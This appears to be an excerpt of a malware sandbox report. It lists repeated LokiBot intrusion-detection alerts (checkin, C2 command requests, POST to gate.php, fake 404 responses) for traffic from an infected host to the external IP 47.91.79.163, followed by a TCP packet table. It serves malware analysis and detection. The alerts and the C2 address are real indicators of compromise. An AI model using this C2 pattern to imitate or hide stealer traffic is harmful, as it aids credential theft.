12/03/20-10:04:15.237436	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50018	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.237436	TCP	2025381	ET TROJAN LokiBot Checkin	50018	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.237436	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50018	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.237436	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50018	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.303064	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50018	47.91.79.163	192.168.2.3
12/03/20-10:04:15.514679	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50019	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.514679	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50019	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.514679	TCP	2025381	ET TROJAN LokiBot Checkin	50019	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.514679	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50019	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.514679	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50019	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.574409	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50019	47.91.79.163	192.168.2.3
12/03/20-10:04:15.796982	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50020	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.796982	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50020	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.796982	TCP	2025381	ET TROJAN LokiBot Checkin	50020	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.796982	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50020	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.796982	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50020	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.856978	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50020	47.91.79.163	192.168.2.3
12/03/20-10:04:16.076667	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50021	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.076667	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50021	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.076667	TCP	2025381	ET TROJAN LokiBot Checkin	50021	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.076667	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50021	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.076667	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50021	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.139505	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50021	47.91.79.163	192.168.2.3
12/03/20-10:04:16.567527	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50022	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.567527	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50022	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.567527	TCP	2025381	ET TROJAN LokiBot Checkin	50022	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.567527	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50022	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.567527	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50022	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.627368	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50022	47.91.79.163	192.168.2.3
12/03/20-10:04:16.871689	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50023	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.871689	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50023	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.871689	TCP	2025381	ET TROJAN LokiBot Checkin	50023	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.871689	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50023	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.871689	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50023	80	192.168.2.3	47.91.79.163
12/03/20-10:04:16.927499	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50023	47.91.79.163	192.168.2.3
12/03/20-10:04:17.160447	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50024	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.160447	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50024	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.160447	TCP	2025381	ET TROJAN LokiBot Checkin	50024	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.160447	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50024	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.160447	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50024	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.228399	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50024	47.91.79.163	192.168.2.3
12/03/20-10:04:17.884116	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50025	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.884116	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50025	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.884116	TCP	2025381	ET TROJAN LokiBot Checkin	50025	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.884116	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50025	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.884116	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50025	80	192.168.2.3	47.91.79.163
12/03/20-10:04:17.950230	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50025	47.91.79.163	192.168.2.3
12/03/20-10:04:18.181600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50026	80	192.168.2.3	47.91.79.163
12/03/20-10:04:18.181600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50026	80	192.168.2.3	47.91.79.163
12/03/20-10:04:18.181600	TCP	2025381	ET TROJAN LokiBot Checkin	50026	80	192.168.2.3	47.91.79.163
12/03/20-10:04:18.181600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50026	80	192.168.2.3	47.91.79.163
12/03/20-10:04:18.181600	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50026	80	192.168.2.3	47.91.79.163
12/03/20-10:04:18.240685	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50026	47.91.79.163	192.168.2.3
12/03/20-10:04:19.967293	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50027	80	192.168.2.3	47.91.79.163
12/03/20-10:04:19.967293	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50027	80	192.168.2.3	47.91.79.163
12/03/20-10:04:19.967293	TCP	2025381	ET TROJAN LokiBot Checkin	50027	80	192.168.2.3	47.91.79.163
12/03/20-10:04:19.967293	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50027	80	192.168.2.3	47.91.79.163
12/03/20-10:04:19.967293	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50027	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.027369	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50027	47.91.79.163	192.168.2.3
12/03/20-10:04:20.275988	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50028	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.275988	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50028	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.275988	TCP	2025381	ET TROJAN LokiBot Checkin	50028	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.275988	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50028	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.275988	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50028	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.335600	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50028	47.91.79.163	192.168.2.3
12/03/20-10:04:20.550109	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50029	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.550109	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50029	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.550109	TCP	2025381	ET TROJAN LokiBot Checkin	50029	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.550109	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50029	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.550109	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50029	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.616818	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50029	47.91.79.163	192.168.2.3
12/03/20-10:04:20.852617	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50030	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.852617	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50030	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.852617	TCP	2025381	ET TROJAN LokiBot Checkin	50030	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.852617	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50030	80	192.168.2.3	47.91.79.163
12/03/20-10:04:20.852617	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50030	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.067118	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50030	47.91.79.163	192.168.2.3
12/03/20-10:04:21.297703	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50031	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.297703	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50031	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.297703	TCP	2025381	ET TROJAN LokiBot Checkin	50031	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.297703	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50031	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.297703	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50031	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.363495	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50031	47.91.79.163	192.168.2.3
12/03/20-10:04:21.576517	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50032	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.576517	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50032	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.576517	TCP	2025381	ET TROJAN LokiBot Checkin	50032	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.576517	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50032	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.576517	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50032	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.640627	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50032	47.91.79.163	192.168.2.3
12/03/20-10:04:21.902507	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50033	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.902507	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50033	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.902507	TCP	2025381	ET TROJAN LokiBot Checkin	50033	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.902507	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50033	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.902507	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50033	80	192.168.2.3	47.91.79.163
12/03/20-10:04:21.955470	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50033	47.91.79.163	192.168.2.3
12/03/20-10:04:22.174316	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50034	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.174316	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50034	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.174316	TCP	2025381	ET TROJAN LokiBot Checkin	50034	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.174316	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50034	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.174316	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50034	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.233497	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50034	47.91.79.163	192.168.2.3
12/03/20-10:04:22.442214	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50035	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.442214	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50035	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.442214	TCP	2025381	ET TROJAN LokiBot Checkin	50035	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.442214	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50035	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.442214	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50035	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.546780	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50035	47.91.79.163	192.168.2.3
12/03/20-10:04:22.769362	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50036	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.769362	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50036	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.769362	TCP	2025381	ET TROJAN LokiBot Checkin	50036	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.769362	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50036	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.769362	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50036	80	192.168.2.3	47.91.79.163
12/03/20-10:04:22.829093	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50036	47.91.79.163	192.168.2.3
12/03/20-10:04:23.028922	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50037	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.028922	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50037	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.028922	TCP	2025381	ET TROJAN LokiBot Checkin	50037	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.028922	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50037	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.028922	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50037	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.092648	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50037	47.91.79.163	192.168.2.3
12/03/20-10:04:23.302682	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50038	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.302682	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50038	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.302682	TCP	2025381	ET TROJAN LokiBot Checkin	50038	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.302682	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50038	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.302682	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50038	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.366543	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50038	47.91.79.163	192.168.2.3
12/03/20-10:04:23.590395	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50039	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.590395	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50039	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.590395	TCP	2025381	ET TROJAN LokiBot Checkin	50039	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.590395	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50039	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.590395	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50039	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.648849	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50039	47.91.79.163	192.168.2.3
12/03/20-10:04:23.869443	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50040	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.869443	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50040	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.869443	TCP	2025381	ET TROJAN LokiBot Checkin	50040	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.869443	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50040	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.869443	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50040	80	192.168.2.3	47.91.79.163
12/03/20-10:04:23.928852	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50040	47.91.79.163	192.168.2.3
12/03/20-10:04:24.157418	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50041	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.157418	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50041	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.157418	TCP	2025381	ET TROJAN LokiBot Checkin	50041	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.157418	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50041	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.157418	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50041	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.216683	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50041	47.91.79.163	192.168.2.3
12/03/20-10:04:24.445219	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50042	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.445219	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50042	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.445219	TCP	2025381	ET TROJAN LokiBot Checkin	50042	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.445219	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50042	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.445219	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50042	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.503657	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50042	47.91.79.163	192.168.2.3
12/03/20-10:04:24.740638	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50043	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.740638	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50043	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.740638	TCP	2025381	ET TROJAN LokiBot Checkin	50043	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.740638	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50043	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.740638	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50043	80	192.168.2.3	47.91.79.163
12/03/20-10:04:24.798672	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50043	47.91.79.163	192.168.2.3
12/03/20-10:04:25.359903	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50044	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.359903	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50044	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.359903	TCP	2025381	ET TROJAN LokiBot Checkin	50044	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.359903	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50044	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.359903	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50044	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.418655	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50044	47.91.79.163	192.168.2.3
12/03/20-10:04:25.779330	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50045	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.779330	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50045	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.779330	TCP	2025381	ET TROJAN LokiBot Checkin	50045	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.779330	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50045	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.779330	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50045	80	192.168.2.3	47.91.79.163
12/03/20-10:04:25.837143	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50045	47.91.79.163	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2020 10:02:28.918229103 CET	49709	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:28.935014963 CET	80	49709	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:28.935132980 CET	49709	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:28.939497948 CET	49709	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:28.956496954 CET	80	49709	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:28.956579924 CET	49709	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:28.973191977 CET	80	49709	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.004054070 CET	80	49709	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.004154921 CET	49709	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.004210949 CET	49709	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.020729065 CET	80	49709	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.273466110 CET	49710	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.290147066 CET	80	49710	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.290241003 CET	49710	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.293359995 CET	49710	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.309967995 CET	80	49710	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.310045958 CET	49710	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.326611042 CET	80	49710	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.459626913 CET	80	49710	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.459870100 CET	49710	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.459913015 CET	49710	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.476507902 CET	80	49710	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.591481924 CET	49711	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.608027935 CET	80	49711	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.608103037 CET	49711	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.611012936 CET	49711	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.627451897 CET	80	49711	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.627510071 CET	49711	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.643893003 CET	80	49711	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.858062029 CET	80	49711	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:29.858131886 CET	49711	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.858305931 CET	49711	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:29.874685049 CET	80	49711	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.131704092 CET	49712	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.148288965 CET	80	49712	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.149279118 CET	49712	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.152512074 CET	49712	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.169069052 CET	80	49712	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.171303988 CET	49712	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.187849045 CET	80	49712	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.214601994 CET	80	49712	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.216965914 CET	49712	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.217003107 CET	49712	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.233812094 CET	80	49712	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.756222010 CET	49713	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.772880077 CET	80	49713	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.773467064 CET	49713	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.776444912 CET	49713	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.793056011 CET	80	49713	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.795722008 CET	49713	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.812310934 CET	80	49713	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.840723038 CET	80	49713	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:30.843281031 CET	49713	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.843322992 CET	49713	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:30.859853983 CET	80	49713	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.098464012 CET	49714	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.114969969 CET	80	49714	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.115086079 CET	49714	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.118510962 CET	49714	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.135080099 CET	80	49714	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.135189056 CET	49714	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.151688099 CET	80	49714	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.264031887 CET	80	49714	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.264178991 CET	49714	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.264251947 CET	49714	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.281785965 CET	80	49714	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.502340078 CET	49715	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.518980980 CET	80	49715	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.519093990 CET	49715	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.524698019 CET	49715	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.541313887 CET	80	49715	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.541438103 CET	49715	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.558002949 CET	80	49715	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.584800959 CET	80	49715	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.584944010 CET	49715	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.585079908 CET	49715	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.601641893 CET	80	49715	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.807952881 CET	49716	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.824553967 CET	80	49716	47.91.79.163	192.168.2.3
